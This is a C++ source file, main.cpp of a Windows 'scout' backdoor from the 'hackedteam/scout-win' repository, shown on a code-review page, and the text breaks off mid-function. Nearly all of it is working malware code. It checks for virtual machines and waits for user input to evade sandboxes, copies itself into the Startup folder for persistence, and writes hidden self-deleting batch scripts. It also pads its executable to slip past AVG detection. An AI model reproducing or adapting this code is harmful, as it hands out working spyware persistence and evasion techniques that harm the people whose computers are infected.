hackedteam/scout-win

View on GitHub
core-scout-win32/main.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>
#include <stdio.h>
#include <Shlobj.h>
#include <Shlwapi.h>
#include <Sddl.h>
#include <Wbemidl.h>
#include <comdef.h> 
#include <Shobjidl.h>

#include "main.h"
#include "md5.h"
#include "api.h"
#include "binpatched_vars.h"
#include "autodelete_batch.h"
#include "agent_device.h"
#include "mybits.h"
#include "antivm.h"
#include "zmem.h"
#include "utils.h"
#include "blacklist.h"

#define _GLOBAL_VERSION_FUNCTIONS_ //defines the exported function and the GetSharedMemoryName funcion
#include "version.h"

#pragma comment(lib, "advapi32")
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "winhttp")
#pragma comment(lib, "netapi32")
#pragma comment(lib, "gdiplus")
#pragma comment(lib, "shell32")
#pragma comment(lib, "shlwapi")

extern VOID SyncThreadFunction();
extern PWCHAR GetRandomString(ULONG uMin);
extern PDYNAMIC_WINSOCK dynamicWinsock;
extern PDYNAMIC_SHELL32 dynamicShell32;

//extern BYTE pServerKey[32];
//extern BYTE pConfKey[32];
//extern BYTE pSessionKey[20];
//extern BYTE pLogKey[32];
//extern BOOL bLastSync;

//BOOL uMelted = FALSE;
//PULONG uSynchro;

BOOL bLastSync = FALSE;
BOOL bSync = FALSE;
HANDLE hScoutSharedMemory;

/*
//#pragma comment(linker, "/EXPORT:MyConf=?MyConf@@YAXXZ")
//PWCHAR urs73A(PULONG pSynchro) // questa viene richiamata dai meltati
//__declspec(dllexport) PWCHAR jfk31d1QQ(PULONG pSynchro)
//__declspec(dllexport) PWCHAR reuio841001a(PULONG pSynchro) // questa viene richiamata dai meltati
//__declspec(dllexport) PWCHAR pqjjslanf(PULONG pSynchro) // questa viene richiamata dai meltati
//__declspec(dllexport) PWCHAR robertlee(PULONG pSynchro) // questa viene richiamata dai meltati
__declspec(dllexport) PWCHAR eflmakfil(PULONG pSynchro) // questa viene richiamata dai meltati
{
#ifdef _DEBUG
    OutputDebugString(L"[+] Setting uMelted to TRUE\n");
#endif
    
    PWCHAR pScoutName;
    
    uMelted = TRUE;
    uSynchro = pSynchro;

    pScoutName = (PWCHAR)VirtualAlloc(NULL, strlen(SCOUT_NAME)*sizeof(WCHAR) + 2*sizeof(WCHAR), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
    MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, SCOUT_NAME, strlen(SCOUT_NAME), pScoutName, strlen(SCOUT_NAME) + 2);

    return pScoutName;
}

PCHAR GetScoutSharedMemoryName()
{    
    CHAR strFormat[] = { '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '%', '0', '2', 'X', '\0' };
    PCHAR pName = (PCHAR) malloc(16);
    memset(pName, 0x0, 16);

    _snprintf_s(pName, 
        16, 
        _TRUNCATE, 
        strFormat,         
        pServerKey[5], pServerKey[6], pServerKey[5], pServerKey[4], pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0], pServerKey[2]);

    return pName;
}
*/

//#pragma section(".text", read,exec)
//__declspec(allocate(".text"))  DWORD ewiogh[1024] = {0xf1caf1ca, 0xf1caf1ca};

int CALLBACK WinMain(HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow)
{
#ifdef _DEBUG_BINPATCH
    MessageBox(NULL, L"_DEBUG_BINPATCH", L"_DEBUG_BINPATCH", 0);
#endif
    
    if (GetCurrentThread() == 0x0)
    {
        //MessageBox(NULL, L"Error", L"wrong commandline arguments", 0);
        MessageBox(NULL, MSG_1, L"Error", 0);
        return 0;
    }

    memcpy(pServerKey, CLIENT_KEY, 32);
    memcpy(pConfKey, ENCRYPTION_KEY_CONF, 32);
    memcpy(pLogKey, ENCRYPTION_KEY, 32);
#ifdef _DEBUG_BINPATCH
    MD5((PBYTE)CLIENT_KEY, 32, (PBYTE)pServerKey);
    MD5((PBYTE)ENCRYPTION_KEY_CONF, 32, (PBYTE)pConfKey);
    MD5((PBYTE)ENCRYPTION_KEY, 32, (PBYTE)pLogKey);
#endif

    /* init dynamic winsock */
    if((dynamicWinsock = (PDYNAMIC_WINSOCK) malloc(sizeof(DYNAMIC_WINSOCK))) == NULL)
        return 0;
    if(!API_LoadWinsock(&dynamicWinsock))
        return 0;

    /* init dynamic shell32 */
    if((dynamicShell32 = (PDYNAMIC_SHELL32) malloc(sizeof(DYNAMIC_SHELL32))) == NULL)
        return 0;
    if(!API_LoadShell32(&dynamicShell32))
        return 0;

    // first check for elite presence
    BOOL bVM = AntiVM();
    BOOL bElite = ExistsEliteSharedMemory();

    if (bVM || bElite)
    {
#ifdef _DEBUG
        OutputDebugString(L"[+] An ELITE backdoor is already installed here!\n");
#endif
        if (bElite && AmIFromStartup()) // FIXME: questo nn puo' essere.. 
            DeleteAndDie(FALSE);

        if (uMelted)
        {
            *uSynchro = 1;
            ExitThread(0);
        }
        else
            return 0;
    }
    // check if I'm already running
    if (ExistsScoutSharedMemory()) // FIXME - mi deleto perche' puo' essere il soldier, tanto se trova la shared mem vuol dire che c'e' un altro scout
    {
#ifdef _DEBUG
        OutputDebugString(L"[+] Scout already active\n");
#endif
        if (uMelted)
        {
            *uSynchro = 1;
            ExitThread(0);
        }
        else
            return 0;
    }

    MySleep(WAIT_DROP/2); // diamo tempo al soldier o elite, di eventualmente vincere la race se non siamo riusciti a cancellarci per qualche motivo

    if (!CreateScoutSharedMemory())
    {
#ifdef _DEBUG
        OutputDebugString(L"[+] Cannot create shared memory\n");
#endif
        if (uMelted)
        {
            *uSynchro = 1;
            ExitThread(0);
        }
        else
            return 0;
    }

    MySleep(WAIT_DROP/2);    

    //check blacklist
    if(!BL_CheckList())
        return 0;    


    //la CoInitializeEx restituisce un errore se utilizzata nella main e le successiva chiamata della CoInitialize,
    //nella GetDeviceInfo() e BitTransfer non andavanp a buon fine. Funzioni spostate all'interno della funzione SyncThreadFunction
    //HRESULT hRet = CoInitializeEx(0, COINIT_MULTITHREADED);
    //CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE,NULL);

    // do not drop if kaspersky x86
    //BOOL bIsWow64, bIsOS64, bDrop;
    //IsX64System(&bIsWow64, &bIsOS64);

    //bDrop = TRUE;
//    if (!bIsOS64)
//    {
//        WCHAR pKasp[] = { L's', L'p', L'e', L'r', L's', L'k', L'y', 0x0 };
//        PWCHAR pApplicationList = GetApplicationList(FALSE);

//        if (StrStrI(pApplicationList, pKasp))
//            bDrop = FALSE;

//        free(pApplicationList);
//    }

    if (!uMelted)
    {
        Drop();
        MySleep(1000);
        
        AvgInvisibility();
    }

    UseLess();
    WaitForInput();

    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SyncThreadFunction, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    if (hScoutSharedMemory)
    {
        CloseHandle(hScoutSharedMemory);
        hScoutSharedMemory = NULL;
    }
    
    if (uMelted)
    {
        *uSynchro = 1;
        ExitThread(0);
    }

    return 0;
}

VOID Drop()
{
    if (!AmIFromStartup())
    {
#ifdef _DEBUG
    OutputDebugString(L"[+] Dropping..\n");
#endif

        WCHAR strExeFormat[] = { L'%', L'S', L'.', L'e', L'x', L'e', L'\0' };
        LPWSTR strDestPath = GetStartupScoutName();
        LPWSTR strSourcePath = GetMySelfName();
        LPWSTR strStartupPath = GetStartupPath();
        LPWSTR strDestFileName = (LPWSTR) malloc((strlen(SCOUT_NAME)+5)*sizeof(WCHAR));
        SecureZeroMemory(strDestFileName, (strlen(SCOUT_NAME)+5)*sizeof(WCHAR));
        _snwprintf_s(strDestFileName, strlen(SCOUT_NAME)+5, _TRUNCATE, strExeFormat, SCOUT_NAME);

        if (GetCurrentThread() == 0x0)
            MessageBox(NULL, MSG_2, L"Warning", 1);
            //MessageBox(NULL, L"Warning", L"Trying to recover..", 1);

        BOOL bFileExists = FALSE;
        BitTransfer(strSourcePath, strDestPath);
        for (DWORD i=0; i<2; i++)
        {
            if (PathFileExists(strDestPath))
            {
                bFileExists = TRUE;
                break;
            }
            Sleep(1000);
        }

        if(!bFileExists)
        {
            if (!SUCCEEDED(ComCopyFile(strSourcePath, strStartupPath, strDestFileName)) || !PathFileExists(strDestPath))
                DoCopyFile(strSourcePath, strDestPath);
        }

        //check/set the file attributes (read-only check)
        if(PathFileExists(strDestPath))
            CheckFileAttribs(strDestPath);

        free(strDestPath);
        free(strSourcePath);
        free(strStartupPath);
        free(strDestFileName);
    }
}

VOID DoCopyFile(PWCHAR pSource, PWCHAR pDest)
{
    PWCHAR pBatchName;
    
    CreateCopyBatch(pSource, pDest, &pBatchName);
    StartBatch(pBatchName);
    MySleep(8000);
    DeleteFile(pBatchName);
    
    free(pBatchName);
}

HRESULT CreateItemFromParsingName(__in LPWSTR strFileName, __out  IShellItem **psi)
{
    PIDLIST_ABSOLUTE pidl;
    //HRESULT hr = SHParseDisplayName(strFileName, 0, &pidl, SFGAO_FOLDER, 0);
    HRESULT hr = dynamicShell32->fpSHParseDisplayName(strFileName, 0, &pidl, SFGAO_FOLDER, 0);
    if (SUCCEEDED(hr))
    {
        //hr = SHCreateShellItem(NULL, NULL, pidl, psi);
        hr = dynamicShell32->fpSHCreateShellItem(NULL, NULL, pidl, psi);
        if (SUCCEEDED(hr))
            return S_OK;
    }

    return E_FAIL;
}

HRESULT ComCopyFile(__in LPWSTR strSourceFile, __in LPWSTR strDestDir, __in_opt LPWSTR strNewName)
{
    IFileOperation *pfo;
    HRESULT hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pfo));

    if (SUCCEEDED(hr))
    {
        hr = pfo->SetOperationFlags(FOF_NO_UI);
        if (SUCCEEDED(hr))
        {
            IShellItem *psiFrom = NULL;
            //hr = SHCreateItemFromParsingName(strSourceFile, NULL, IID_PPV_ARGS(&psiFrom));
            hr = CreateItemFromParsingName(strSourceFile, &psiFrom);

            if (SUCCEEDED(hr))
            {
                IShellItem *psiTo = NULL;
                if (NULL != strDestDir)
                    hr = CreateItemFromParsingName(strDestDir, &psiTo);
                    //hr = SHCreateItemFromParsingName(strDestDir, NULL, IID_PPV_ARGS(&psiTo));

                if (SUCCEEDED(hr))
                {
                    hr = pfo->CopyItem(psiFrom, psiTo, strNewName, NULL);

                    if (NULL != psiTo)
                        psiTo->Release();
                }                   
                psiFrom->Release();
            }

            if (SUCCEEDED(hr))
                hr = pfo->PerformOperations(); // copy file
        }
        pfo->Release();
    }

    return hr;
}

VOID UseLess()
{
    if (GetCurrentProcessId() == 4) 
    {
        //MessageBox(NULL, L"Error", L"Aborting now", 0);
        MessageBox(NULL, MSG_3, L"Error", 0);

        memset(DEMO_TAG, 0x0, 3);
        memset(WMARKER, 0x0, 3);
        memset(CLIENT_KEY, 0x0, 3);
        memset(ENCRYPTION_KEY_CONF, 0x0, 3);
        memset(SCOUT_NAME, 0x0, 3);
        memset(SCREENSHOT_FLAG, 0x0, 4);
    }
}


VOID WaitForInput()
{
    ULONG uLastInput;
    LASTINPUTINFO pLastInputInfo;
    
#ifdef _DEBUG
    OutputDebugString(L"[+] FIRST_WAIT\n");
#endif
    MySleep(WAIT_INPUT);

    pLastInputInfo.cbSize = sizeof(LASTINPUTINFO);
    GetLastInputInfo(&pLastInputInfo);
    uLastInput = pLastInputInfo.dwTime;

    while (1)
    {
        pLastInputInfo.cbSize = sizeof(LASTINPUTINFO);
        if (GetLastInputInfo(&pLastInputInfo))
        {
            if (pLastInputInfo.dwTime != uLastInput)
                break;
        }
        else
        {
#ifdef _DEBUG
            OutputDebugString(L"[+] GetLastInput FAILED\n");
#endif
            MySleep(3000);
            break;
        }

#ifdef _DEBUG
        OutputDebugString(L"[+] Waiting for input...\n");
#endif
        MySleep(3000);
    }    
}


VOID DeleteAndDie(BOOL bDie)
{
    HANDLE hFile;
    ////char batch_format[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 };
    char batch_format[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'e', 'c', 'h', 'o', ' ', ';', '>', '"', '%', 'S', '"', 0x0 };

    if (hScoutSharedMemory)
    {
        CloseHandle(hScoutSharedMemory);    
        hScoutSharedMemory = NULL;
    }

    if (uMelted) // from melted app
    {
        PWCHAR pFullPath = GetStartupScoutName();
        DeleteFile(pFullPath);
        free(pFullPath);

        if (bDie)
        {
            *uSynchro = 1;
            ExitThread(0);
        }
        return;
    }

    // not melted
    if (!AmIFromStartup())
    { 
        PWCHAR pName = GetStartupScoutName();
        DeleteFile(pName);
        free(pName);

        if (bDie)
                ExitProcess(0);
        else
            return;
    }
    else // batch
    {
        PWCHAR pTempPath = GetTemp();
        PWCHAR pBatFileName = (PWCHAR)malloc(32767 * sizeof(WCHAR));

        ULONG uTick = GetTickCount();
        do
        {
            //_snwprintf_s(pBatFileName, 32766, _TRUNCATE, L"%s\\%d98355.bat", pTempPath, uTick++);
            //_snwprintf_s(pBatFileName, 32766, _TRUNCATE, L"%s\\%d437890.bat", pTempPath, uTick++);
            _snwprintf_s(pBatFileName, 32766, _TRUNCATE, L"%s\\%d%s", pTempPath, uTick++, BATCH_FILE_1);
            hFile = CreateFile(pBatFileName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
            if (hFile && hFile != INVALID_HANDLE_VALUE)
                break;
        }
        while(1);

#ifdef _DEBUG
        OutputDebugString(pBatFileName);
#endif

        // get full filename in startup
        PWCHAR pExeFileName = GetStartupScoutName();

        // create batch buffer
        ULONG uSize = strlen(batch_format) + 32676*3 + 1;
        LPSTR pBatchBuffer = (LPSTR)malloc(uSize);
        memset(pBatchBuffer, 0x0, uSize);
        _snprintf_s(pBatchBuffer, uSize, _TRUNCATE, batch_format, pExeFileName, pExeFileName, pBatFileName);

        // write it
        ULONG uOut;
        WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
        CloseHandle(hFile);

        if (StartBatch(pBatFileName))
        {
            if (bDie)
            {
                if (uMelted)
                {
                    *uSynchro = 1;
                    ExitThread(0);
                }
                else
                    ExitProcess(0);
            }
            else
                return;
        }
#ifdef _DEBUG
        else
            OutputDebugString(L"[!!] Error executing autodelete batch!!\n");
#endif
        free(pBatFileName);
        free(pExeFileName);
        free(pBatchBuffer);
        free(pTempPath);
    }
}


/*
PCHAR GetOldScoutSharedMemoryName()
{
    PCHAR pName = (PCHAR)malloc(16);
    memset(pName, 0x0, 16);

    _snprintf_s(pName, 
        16, 
        _TRUNCATE, 
        "%02X%02X%02X%02X%c%c", 
        pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0], 'B', 'R');

    return pName;
}
*/

PCHAR GetEliteSharedMemoryName()
{
    PCHAR pName = (PCHAR)malloc(16);
    memset(pName, 0x0, 16);
    memcpy(pName, WMARKER, 7);
    /*
    _snprintf_s(pName, 
        16, 
        _TRUNCATE, 
        //"%cX%X%02X%02X%02X%02X%02X", 
        "%.7s",
        &WMARKER[0], &WMARKER[1], &WMARKER[2], &WMARKER[3], &WMARKER[4], &WMARKER[5], &WMARKER[6]);
    */
    return pName;
}

/*
PCHAR GetOldEliteSharedMemoryName()
{
    PCHAR pName = (PCHAR)malloc(16);
    memset(pName, 0x0, 16);

    _snprintf_s(pName, 
        16, 
        _TRUNCATE, 
        "%c%c%c%02X%02X%02X%02X", 
        'F', 'S', 'B', pServerKey[0], pServerKey[1], pServerKey[2], pServerKey[3]);

    return pName;
}
*/

BOOL CreateScoutSharedMemory()
{
    PCHAR pName;
    
#ifdef _DEBUG
    OutputDebugString(L"[+] Creating scout shared memory\n");
#endif
    if (ExistsScoutSharedMemory())
        return FALSE;

    pName = GetScoutSharedMemoryName();
    hScoutSharedMemory = CreateFileMappingA(INVALID_HANDLE_VALUE, 
        NULL,
        PAGE_READWRITE,
        0,
        SHARED_MEMORY_WRITE_SIZE,
        pName);
    free(pName);

    if (hScoutSharedMemory)
        return TRUE;
    
    return FALSE;
}

BOOL ExistsScoutSharedMemory()
{
    HANDLE hMem;
    PCHAR pName;
    BOOL uRet = FALSE;
    
    pName = GetScoutSharedMemoryName();
    hMem = OpenFileMappingA(FILE_MAP_READ, FALSE, pName);
    if (hMem)
    {
        uRet = TRUE;
        CloseHandle(hMem);
    }
    free(pName);
    
    return uRet;
}


BOOL ExistsEliteSharedMemory()
{
    HANDLE hMem;
    PCHAR pName;
    BOOL uRet = FALSE;
    
    pName = GetEliteSharedMemoryName();
    hMem = OpenFileMappingA(FILE_MAP_READ, FALSE, pName);
    if (hMem)
    {
        uRet = TRUE;
        CloseHandle(hMem);
    }
    free(pName);
    
    return uRet;
}


BOOL AmIFromStartup()
{
    BOOL uRet;
    
    PWCHAR pStartupPath = GetStartupPath();
    PWCHAR pCurrentPath = GetMySelfName();

    if (StrRChr(pCurrentPath, NULL, L'\\'))
        *(StrRChr(pCurrentPath, NULL, L'\\')) = 0;

    if (StrCmpI(pCurrentPath, pStartupPath))
        uRet = FALSE;
    else
        uRet = TRUE;
    
    free(pStartupPath);
    free(pCurrentPath);
    
    return uRet;
}

PWCHAR GetMySelfName()
{
    PWCHAR pName = (PWCHAR)malloc(32767*2 * sizeof(WCHAR));
    PWCHAR pShort = (PWCHAR)malloc(32767*2 * sizeof(WCHAR));
    
    GetModuleFileName(NULL, pName, 32766*2);
    if (!GetShortPathName(pName, pShort, 32767*2))
    {
        free(pShort);
        return pName;
    }
    free(pName);
    
    return pShort;
}

PWCHAR GetStartupPath()
{
    PWCHAR pStartupPath = (PWCHAR)malloc(32767*sizeof(WCHAR));
    PWCHAR pShortPath = (PWCHAR)malloc(32767*sizeof(WCHAR));
    
    //SHGetSpecialFolderPath(NULL, pStartupPath, CSIDL_STARTUP, FALSE);
    dynamicShell32->fpSHGetSpecialFolderPathW(NULL, pStartupPath, CSIDL_STARTUP, FALSE);
    GetShortPathName(pStartupPath, pShortPath, 4096);

    free(pStartupPath);
    
    return pShortPath;
}

PWCHAR GetStartupScoutName()
{
    WCHAR strFormat[] = { L'%', L's', L'\\', L'%', L'S', L'.', L'e', L'x', L'e', L'\0' };
    PWCHAR pStartupPath = GetStartupPath();
    PWCHAR pFullPath = (PWCHAR)malloc(32767*sizeof(WCHAR));
    
    _snwprintf_s(pFullPath, 32767, _TRUNCATE, strFormat, pStartupPath, SCOUT_NAME);
    free(pStartupPath);
    
    return pFullPath;
}




PWCHAR GetTemp()
{
    WCHAR strTemp[] = { L'T', L'M', L'P', L'\0' };
    PWCHAR pTemp = (PWCHAR)malloc(4096 * sizeof(WCHAR));
    PWCHAR pShort = (PWCHAR)malloc(4096 * sizeof(WCHAR));
    
    GetEnvironmentVariable(strTemp, pTemp, 32767); // FIXME GetTempPath
    GetShortPathName(pTemp, pShort, 4096);
    
    free(pTemp);
    return pShort;
}



VOID MySleep(ULONG uTime)
{
    //HANDLE hThread = GetCurrentThread();
    //WaitForSingleObject(hThread, uTime);
    Sleep(uTime);
}


BOOL StartBatch(PWCHAR pName)
{
    BOOL bRet;
        
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    PWCHAR pApplicationName = (PWCHAR)malloc(4096 * sizeof(WCHAR));
    WCHAR strOpts[] = { L'/', L'c', L' ', L'%', L's', L'\0' };
    WCHAR pTempInterpreter[] = { L'%', L'S', L'Y', L'S', L'T', L'E', L'M', L'R', L'O', L'O', L'T', L'%', L'\\', L's', L'y', L's', L't', L'e', L'm', L'3', L'2', L'\\', L'c', L'm', L'd', L'.', L'e', L'x', L'e', 0x0 };
    PWCHAR pInterpreter = (PWCHAR) malloc(32767 * sizeof(WCHAR));

    ExpandEnvironmentStrings(pTempInterpreter, pInterpreter, 32767 * sizeof(WCHAR));
    _snwprintf_s(pApplicationName, 4095, _TRUNCATE, strOpts, pName);

    SecureZeroMemory(&si, sizeof(STARTUPINFO));
    SecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    
    if (GetCurrentProcessId() == 4)
        MessageBox(NULL, MSG_4, L"Alert!", 0);
        //MessageBox(NULL, L"Not sure what's happening", L"ALERT!", 0);

    bRet = CreateProcess(pInterpreter, pApplicationName, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

    free(pApplicationName);
    free(pInterpreter);
    
    return bRet;
}


VOID CreateDeleteBatch(PWCHAR pFileName, PWCHAR *pBatchOutName)
{
    HANDLE hFile;
    ULONG uTick, uOut;
    PWCHAR pTempPath = GetTemp();
    PWCHAR pBatchName = (PWCHAR) malloc(32767*sizeof(WCHAR));
    CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 };
    PCHAR pBatchBuffer = (PCHAR) malloc(strlen(pBatchFormat) + (32767 * 3));
    
    uTick = GetTickCount();
    do
    {
        ////_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d02322.bat", pTempPath, uTick++);
        //_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d124904.bat", pTempPath, uTick++);
        _snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d%s", pTempPath, uTick++, BATCH_FILE_2);
        hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            break;
    }
    while (1);

    _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, pFileName, pFileName, pBatchName); 
    WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
    CloseHandle(hFile);

    *pBatchOutName = pBatchName;

    free(pBatchBuffer);
    free(pTempPath);
}


VOID CreateReplaceBatch(PWCHAR pOldFile, PWCHAR pNewFile, PWCHAR *pBatchOutName)
{
    HANDLE hFile;
    ULONG uTick, uOut;
    PWCHAR pTempPath = GetTemp();
    PWCHAR pBatchName = (PWCHAR) malloc(32767*sizeof(WCHAR));
    CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', '%', 'S', '"', ' ', '>', ' ', '"', '%', 'S', '"', '\r', '\n', 's', 't', 'a', 'r', 't', ' ', '/', 'B', ' ', 'c', 'm', 'd', ' ', '/', 'c', ' ', '"', '%', 'S', '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 };
    PCHAR pBatchBuffer = (PCHAR) malloc(strlen(pBatchFormat) + (32767 * 3));

    uTick = GetTickCount();
    do
    {
        //_snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d76833.bat", pTempPath, uTick++);
        _snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d%s", pTempPath, uTick++, BATCH_FILE_3);
        hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            break;
    }
    while (1);

    _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, pOldFile, pOldFile, pNewFile, pOldFile, pOldFile, pNewFile, pBatchName); 
    WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
    CloseHandle(hFile);

    *pBatchOutName = pBatchName;

    free(pBatchBuffer);
    free(pTempPath);
}


VOID CreateCopyBatch(PWCHAR pSource, PWCHAR pDest, PWCHAR *pBatchOutName)
{
    HANDLE hFile;
    ULONG uTick ,uOut;
    PWCHAR pTempPath = GetTemp();
    PWCHAR pBatchName = (PWCHAR)malloc(32767*sizeof(WCHAR));
    CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', '%', 'S', '"', ' ', '>', '"', '%', 'S', '"', 0x0};
    PCHAR pBatchBuffer = (PCHAR)malloc(strlen(pBatchFormat) + (32767 * 3));

    uTick = GetTickCount();
    do
    {
        WCHAR pName[] = { L'%', L's', L'\\', L'%', L'd', L'.', L'b', L'a', L't', L'\0' };
        _snwprintf_s(pBatchName, 32766, _TRUNCATE, pName, pTempPath, uTick++);
        hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            break;
    }
    while (1);

    _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, pSource, pDest);
    WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
    CloseHandle(hFile);

    *pBatchOutName = pBatchName;

    free(pBatchBuffer);
    free(pTempPath);
}


LPWSTR CreateTempFile()
{
    WCHAR pTempPath[MAX_PATH + 1];
    LPWSTR pShortTempPath = (LPWSTR) malloc((MAX_PATH + 1)*sizeof(WCHAR));
    LPWSTR pTempFileName = (LPWSTR) malloc((MAX_PATH + 1)*sizeof(WCHAR));
    LPWSTR pShortTempFileName = (LPWSTR) malloc((MAX_PATH + 1)*sizeof(WCHAR));
    
    memset(pTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
    memset(pShortTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
    memset(pTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
    memset(pShortTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));

    GetTempPath(MAX_PATH + 1, pTempPath);
    GetShortPathName(pTempPath, pShortTempPath, (MAX_PATH + 1)*sizeof(WCHAR));

    GetTempFileName(pTempPath, L"13", 0, pTempFileName);
    GetShortPathName(pTempFileName, pShortTempFileName, (MAX_PATH + 1)*sizeof(WCHAR));

    free(pShortTempPath);
    free(pTempFileName);
    
    return pShortTempFileName;
}




VOID AvgInvisibility()
{

        /* 
           Solves Avg General Behavior detection by increasing scout size in startup,
           scout not run from startup is not affected by this detection:

            - a] current process is not running from startup -> append garbage to scout executable dropped in startup
            - b] current process is the scout running from startup -> drop a garbage file in %temp%, the a batch that 
                                                                      waits for current process to bail and then appends
                                                                      the garbage to scout executable in startup and spawns
                                                                      a 'fat' scout process
        */
            

        LPWSTR strDestPath = GetStartupScoutName();
        LPWSTR strSourcePath = GetMySelfName();
        LPWSTR strStartupPath = GetStartupPath();

        /* make avg scout fat */
        WCHAR szAvg[] = { L'A', L'V', L'G', 0x0 };
        PWCHAR pApplicationList = NULL;
        BOOL bIsWow64, bIsOS64;
        
        IsX64System(&bIsWow64, &bIsOS64);
        
        if (!bIsOS64)
            pApplicationList = GetApplicationList(FALSE);
        else
            pApplicationList = GetApplicationList(TRUE);
        
        

#ifdef _DEBUG
    if (!bIsOS64)
        OutputDebugString(L"32bit");
    else
        OutputDebugString(L"64bit");
#endif

        if (StrStrI(pApplicationList, szAvg))
        {
            HANDLE hScout = CreateFile(strDestPath, GENERIC_READ, FILE_SHARE_READ , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            if(hScout == INVALID_HANDLE_VALUE)
            {
#ifdef _DEBUG
                OutputDebugString(L"Failed opening scout");
                OutputDebugString(strDestPath);
                OutputDebugString(L"\n");
#endif
                
            } else
            {
#ifdef _DEBUG
                OutputDebugString(L"Read handle opened ");
                OutputDebugString(strDestPath);
                OutputDebugString(L"\n");
#endif

                /*LARGE_INTEGER lM;
                lM.QuadPart =  1048576 + 10;
                LONGLONG lPadding = 0;
                LARGE_INTEGER lFileSize;
                GetFileSizeEx(hScout, &lFileSize);
                lPadding = lM.QuadPart - lFileSize.QuadPart;*/

                DWORD dwM = (1048576 * 4) + 10;
                DWORD dwPadding= 0;
                DWORD dwFileSize = GetFileSize(hScout, NULL);

                dwPadding = dwM - dwFileSize;

